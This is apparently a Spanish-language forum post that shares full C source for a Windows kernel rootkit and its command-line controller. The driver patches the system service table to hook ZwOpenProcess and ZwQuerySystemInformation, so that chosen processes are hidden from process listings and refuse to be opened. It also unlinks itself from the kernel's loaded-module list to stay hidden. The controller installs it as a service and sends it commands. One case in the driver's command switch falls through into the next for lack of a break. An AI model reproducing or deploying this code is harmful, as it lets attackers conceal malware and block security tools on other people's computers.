Unas imagenes.
[Enlace externo eliminado para invitados]
[Enlace externo eliminado para invitados]
[Enlace externo eliminado para invitados]
Mensajero
#include <string.h>
#include <windows.h>
#include <winioctl.h>
#define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define HideDriver CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000003, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
void Usage(char *name);
char *ExtractFileName(char *Name);
void SendPID(int PID, DWORD IoState);
int main(int argc, char *argv[])
{
int i = 1;
if (argc == 1) {
Usage(argv[0]);
return 0;
}
if (strlen(argv[1]) != 2){
Usage(argv[0]);
return 0;
}
switch (argv[1][1]){
case 'i' :
{
//Se abre el administrador de servicios con la flag CREATE_SERVICE
SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (SCMan == NULL){
printf("No se tienen los permisos necesarios para acceder a los servicios\n");
return 0;
}
//Crea el servicio tipo Driver, que inicie con el sistema
SC_HANDLE Serv = CreateService(SCMan, argv[2], argv[2],
SERVICE_ALL_ACCESS, // Desired Access
SERVICE_KERNEL_DRIVER, // Service Type
SERVICE_DEMAND_START, // Start Type
SERVICE_ERROR_NORMAL, // Error Controle
argv[3], NULL, NULL, NULL, NULL, NULL);
printf("Ruta: %s\n", argv[3]);
if (Serv == NULL){
if (GetLastError() == 1073){ //El error 0x431 significa que ya existe el servico
Serv = OpenService(SCMan, argv[2], SERVICE_ALL_ACCESS); //Simplemente obtenemos el handle
if (Serv == NULL){
printf("No se puede abrir el servicio\n");
printf("Error 0x%x", GetLastError());
return 0;
}
} else {
printf("No se puede crear el servicio\n");
printf("Error 0x%x", GetLastError());
return 0;
}
}
if (!StartService(Serv, 0, NULL)){ //Iniciamos el servicio
printf("No se puede iniciar el servicio\n");
printf("Error 0x%x", GetLastError());
return 0;
}
printf("El servicio %s se ha instalado e iniciado...", argv[2]);
CloseServiceHandle(Serv); //Cerramos el handle del servicio
CloseServiceHandle(SCMan); //Cerramos el handle del administrador de servcios
break;
}
case 'd':{
//Abrimos el admin de servicios
SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (SCMan == NULL){
printf("No se tienen los permisos necesarios para acceder a los servicios\n");
return 0;
}
//Se obtiene un handle del servicio
SC_HANDLE Serv = OpenService(SCMan, argv[2], SERVICE_ALL_ACCESS);
if (Serv == NULL){
printf("Error abriendo el servicio %d\n", GetLastError());
return 0;
}
SERVICE_STATUS servStatus; //Enviamos la señal STOP_SERVICE
BOOL bRet = ControlService(Serv, SERVICE_CONTROL_STOP, &servStatus);
if (!bRet && (GetLastError() != ERROR_SERVICE_NOT_ACTIVE)){ //Este error significa que ya esta detenido
printf("No se ha podido detener el servicio\nError: %d", GetLastError());
return 0;
}
if (!DeleteService(Serv)){ //Lo eliminamos
printf("Error eliminando el servicio %d", GetLastError());
return 0;
}
printf("Servicio %s detenido y desinstalado", argv[2]);
CloseServiceHandle(Serv); //Cerramos el handle del servicio
CloseServiceHandle(SCMan); //Cerramos el handle del administrador de servcios
break;
}
case 'h':{
printf("Proteccion de PID\n");
SendPID(atoi(argv[2]), Block);
break;
}
case 'u':{
printf("Liberación de PID\n");
SendPID(atoi(argv[2]), Unblock);
break;
}
case 'm':{
printf("Ocultando driver\n");
SendPID(0, HideDriver);
break;
}
}
//system("PAUSE");
return 0;
}
void Usage(char *name){
printf("%s [opciones] [parametros]\n", ExtractFileName(name));
printf(" -i [Nombre] [Ruta] Carga y crea el servicio del driver.\n");
printf(" -d [Nombre] Detiene y elimina en servicio del driver.\n");
printf(" -h [PID] Protege un proceso.\n");
printf(" -u [PID] Libera un proceso.\n");
printf(" -m Oculta el driver por DKOM\n");
}
char *ExtractFileName(char *name){
int len = strlen(name);
while (len > 0){
if ((int)name[len] != 92)
len--;
else {
len++;
break;
}
}
int iname = strlen(name) - len;
char *ret = malloc((iname + 1)*sizeof(char));
strcpy(ret, name + len);
return ret;
}
void SendPID(int PID, DWORD IoState){
HANDLE hDevice;
BOOL bRet;
DWORD a, dwState;
int iBuffer, oBuffer;
//iBuffer = PID;
hDevice = CreateFile("\\\\.\\driverpid", GENERIC_WRITE | GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice != INVALID_HANDLE_VALUE)
{
printf("Handle Device: %d\n", hDevice);
/*if (bBlock)
dwState = (DWORD)Block;
else
dwState = (DWORD)Unblock;*/
printf("Enviando peticion\n");
bRet = DeviceIoControl(hDevice, IoState, &PID, sizeof(int), &oBuffer, sizeof(int), &a, NULL);
if (bRet)
printf("PID: %d se respondio %d\n", iBuffer, oBuffer);
} else {
printf("No se puede establecer conexion\n");
printf("0x%08x\n",GetLastError());
}
}
#include <ntddk.h>
#ifndef _HOOK_H_
#define _HOOK_H_
#endif
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
typedef struct _SYSTEM_THREAD {
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
LONG BasePriority;
ULONG ContextSwitchCount;
ULONG State;
KWAIT_REASON WaitReason;
} SYSTEM_THREAD, *PSYSTEM_THREAD;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER Reserved[3];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE ProcessId;
HANDLE InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
ULONG PrivatePageCount;
VM_COUNTERS VirtualMemoryCounters;
IO_COUNTERS IoCounters;
SYSTEM_THREAD Threads[0];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef struct _MODULE_ENTRY {
LIST_ENTRY Link; // FLink and BLink
ULONG Unknown[4];
ULONG ImageBase;
ULONG EntryPoint;
ULONG ImageSize;
UNICODE_STRING DriverPath;
UNICODE_STRING DriverName;
} MODULE_ENTRY, *PMODULE_ENTRY;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
#define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define HideDriver CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000003, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
typedef DWORD (ULONG);
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#include <ntddk.h>
#include "hook.h"
//Declaramos la API para poder trabajar con ella.
NTSYSAPI NTSTATUS NTAPI ZwOpenProcess (OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
typedef NTSTATUS (*TypZwQuerySysInfo)(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
TypZwQuerySysInfo ZwQuerySysInfoIni;
typedef NTSTATUS (*TypZwOpenProc)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
TypZwOpenProc ZwOpenProcessIni;
const WCHAR Device[]=L"\\device\\driverpid";
const WCHAR sLink[]=L"\\??\\driverpid";
USHORT ListPID[3];
UNICODE_STRING Dev, lnk;
PVOID DriverCurrent = NULL;
//int ListPID;
int SearchPID(HANDLE PID){
int i;
for (i = 0; i < 3; i++){
if ((HANDLE)ListPID[i] == PID)
return i;
}
return -1;
}
int FreeIndex(){
int i;
for (i = 0; i < 3; i++){
if (ListPID[i] == 0)
return i;
}
return -1;
}
/*
Función que es llamada para cualquier interacción con el driver
Pero, solo maneja los I/O por medio de IRPs
*/
NTSTATUS IOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){
PIO_STACK_LOCATION Stack;
PUSHORT oBuffer;
PUSHORT iBuffer;
int i;
NTSTATUS Status = STATUS_SUCCESS;
PMODULE_ENTRY Module;
Stack = IoGetCurrentIrpStackLocation(Irp);
iBuffer = oBuffer = (PUSHORT)Irp->AssociatedIrp.SystemBuffer;
if (oBuffer && iBuffer){
DbgPrint("Accesando a bloqueo de PID");
DbgPrint("Asociando buffers...");
if(Stack->Parameters.DeviceIoControl.InputBufferLength == sizeof(int)){
DbgPrint("Peticion recibida a PID: %d", *iBuffer);
if(Stack->Parameters.DeviceIoControl.OutputBufferLength == sizeof(int)){
DbgPrint("Revisando estado de lista.");
Irp->IoStatus.Information = sizeof(int);
switch(Stack->Parameters.DeviceIoControl.IoControlCode){
case Block:
{
//if (ListPID == 0){
i = FreeIndex();
if (i >= 0){
DbgPrint("Protegiendo PID %d.", *iBuffer);
ListPID[i] = (USHORT)*iBuffer;
*oBuffer = 1;
} else {
*oBuffer = 0;
DbgPrint("No hay espacio para proteger.");
}
break;
}
case Unblock:
{
DbgPrint("Eliminando proteccion");
i = SearchPID((HANDLE)*iBuffer);
if (i >= 0){
//if (ListPID != 0){
DbgPrint("Liberando PID %d.", *iBuffer);
ListPID[i] = 0;
*oBuffer = 1;
} else {
*oBuffer = 0;
DbgPrint("No hay procesos protegidos.");
}
}
case HideDriver:
{
PVOID First;
DbgPrint("Current: %8X", DriverCurrent);
__asm
{
mov eax, dword ptr fs:[0x1C] // KPCR
mov eax,[eax+0x34] //KPCR -> KdVersionBlock
mov eax,[eax+0x70] //KDDEBUGGER_DATA32 -> PsLoadedModulesList
mov Module,eax
}
First = (PVOID)Module;
Module = (PMODULE_ENTRY)Module->Link.Flink;
while (((ULONG)Module->Link.Flink != 0) && (Module->Link.Flink != First)){
if ((PVOID)Module == DriverCurrent){
((PMODULE_ENTRY)Module->Link.Blink)->Link.Flink = Module->Link.Flink;
((PMODULE_ENTRY)Module->Link.Flink)->Link.Blink = Module->Link.Blink;
DbgPrint("Se ha ocultado el driver.");
}
Module = (PMODULE_ENTRY)Module->Link.Flink;
}
break;
}
default:
Status = STATUS_SUCCESS;
break;
} //Switch
} else {
Status = STATUS_BUFFER_TOO_SMALL;
Irp->IoStatus.Information = 0;
} //Buffer Small
} //In buffer
} //Asociar buffer
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
NTSTATUS NewZwQuerySysInfo(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength)
{
NTSTATUS Status;
PSYSTEM_PROCESS_INFORMATION Actual, Next;
int i;
Status = ZwQuerySysInfoIni(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
//DbgPrint("Llamada a la API original");
if (SystemInformationClass != 5)//Si no llaman a la API para los procesos no nos importa
return Status;
//DbgPrint("Han pedido informacion de procesos");
if (!NT_SUCCESS(Status))//En este punto han llamado para los procesos, pero algo fallo
return Status;
//Cargamos el primer proceso que es 0 (?)
Actual = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
//Si es el ultimo proceso esta entrada esta seteada en 0
//Por tanto si es el ultimo no se ejecuta el bloque while
while (Actual->NextEntryOffset){
//Cargamos el siguiente proceso
Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Actual + Actual->NextEntryOffset);
//Si el PID del proceso es igual al que estamos protegiendo
//Y el PID a proteger no es 0 (ningún PID a proteger)
i = SearchPID(Next->ProcessId);
if (Next->ProcessId != 0){
while (i >= 0){
DbgPrint("Ocultando Proceso: %d", ListPID[i]);
//En este caso si esta entrada esta seteada a 0 el siguiente proceso es el ultimo
if (Next->NextEntryOffset == 0)
//Así que hacemos que el proceso actual sea el ultimo
Actual->NextEntryOffset = 0;
else
Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset;
Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Next + Next->NextEntryOffset);
i = SearchPID(Next->ProcessId);
}
//Si no es el ultimo sumamos las entradas del actual y del siguiente
//Para saltar la entrada de nuestro proceso
//Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset;
//No salimos del break porque puede haber mas procesos a ocultar
}
//Cargamos el siguiente bloque de proceso
Actual = (PSYSTEM_PROCESS_INFORMATION)((char *)Actual + Actual->NextEntryOffset);
}
return Status;
}
NTSTATUS NewZwOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL)
{
HANDLE PID;
__try //Utilizamos el bloque try para evitar BSOD
{
PID = ClientId->UniqueProcess;
}
__except(EXCEPTION_EXECUTE_HANDLER){
return STATUS_INVALID_PARAMETER; //Regresamos un estado invalido para que la aplicación se ocupe
}
//Verificamos el pid
if ((SearchPID(PID) >= 0) && (PID != 0)){
//if (PID == (HANDLE)ListPID){
DbgPrint("PID: %d", PID);
return STATUS_ACCESS_DENIED; //Retornamos acceso denegado
} else return ZwOpenProcessIni(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId); //Llamamos a la API nativa y retornamos el resultado correcto
}
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("Descargando driver...");
//Unhookeamos
UNHOOK_SYSCALL( ZwOpenProcess, ZwOpenProcessIni, NewZwOpenProcess );
UNHOOK_SYSCALL( ZwQuerySystemInformation, ZwQuerySysInfoIni, NewZwQuerySysInfo);
DbgPrint("Eliminando Hooks");
//Eliminamos la MDL
if(g_pmdlSystemCall){
MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
IoFreeMdl(g_pmdlSystemCall);
}
DbgPrint("Proteccion a SSDT restaurada");
}
NTSTATUS DriverIODispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
{
NTSTATUS Status;
DriverObject->DriverUnload = OnUnload;
DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] =
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverIODispatch;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOControl;
RtlInitUnicodeString(&Dev,Device);
RtlInitUnicodeString(&lnk,sLink);
DriverCurrent = DriverObject->DriverSection;
//Creamos la MDL para deshabilitar la protección de memoria
//g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
g_pmdlSystemCall = IoAllocateMdl(KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4, FALSE, FALSE, NULL);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
Status = IoCreateDevice(DriverObject,0,&Dev,FILE_DEVICE_UNKNOWN,0,0,&DriverObject->DeviceObject);
if (NT_SUCCESS(Status)){
Status =IoCreateSymbolicLink(&lnk,&Dev);
DbgPrint("Creando device...");
if(!NT_SUCCESS(Status)){
IoDeleteDevice(DriverObject->DeviceObject);
DbgPrint("Error creando link simbolico");
}else
DbgPrint("SymbolicLink creado y cargado.");
}else
DbgPrint("Error creando el device.");
DbgPrint("Driver cargado.");
/*
Hooking de las APIs
Obtenemos la direccion de OpenProcess
*/
ZwOpenProcessIni =(TypZwOpenProc)(SYSTEMSERVICE(ZwOpenProcess));
DbgPrint("Hookeando OpenProcess...");
/*
Cambiamos la dirección de la SSDT por la nuestra
*/
HOOK_SYSCALL( ZwOpenProcess, NewZwOpenProcess, ZwOpenProcessIni );
ZwQuerySysInfoIni = (TypZwQuerySysInfo)(SYSTEMSERVICE(ZwQuerySystemInformation));
DbgPrint("Hookeando QuerySysInfo...");
HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySysInfo, ZwQuerySysInfoIni);
return Status;
}
Saludos!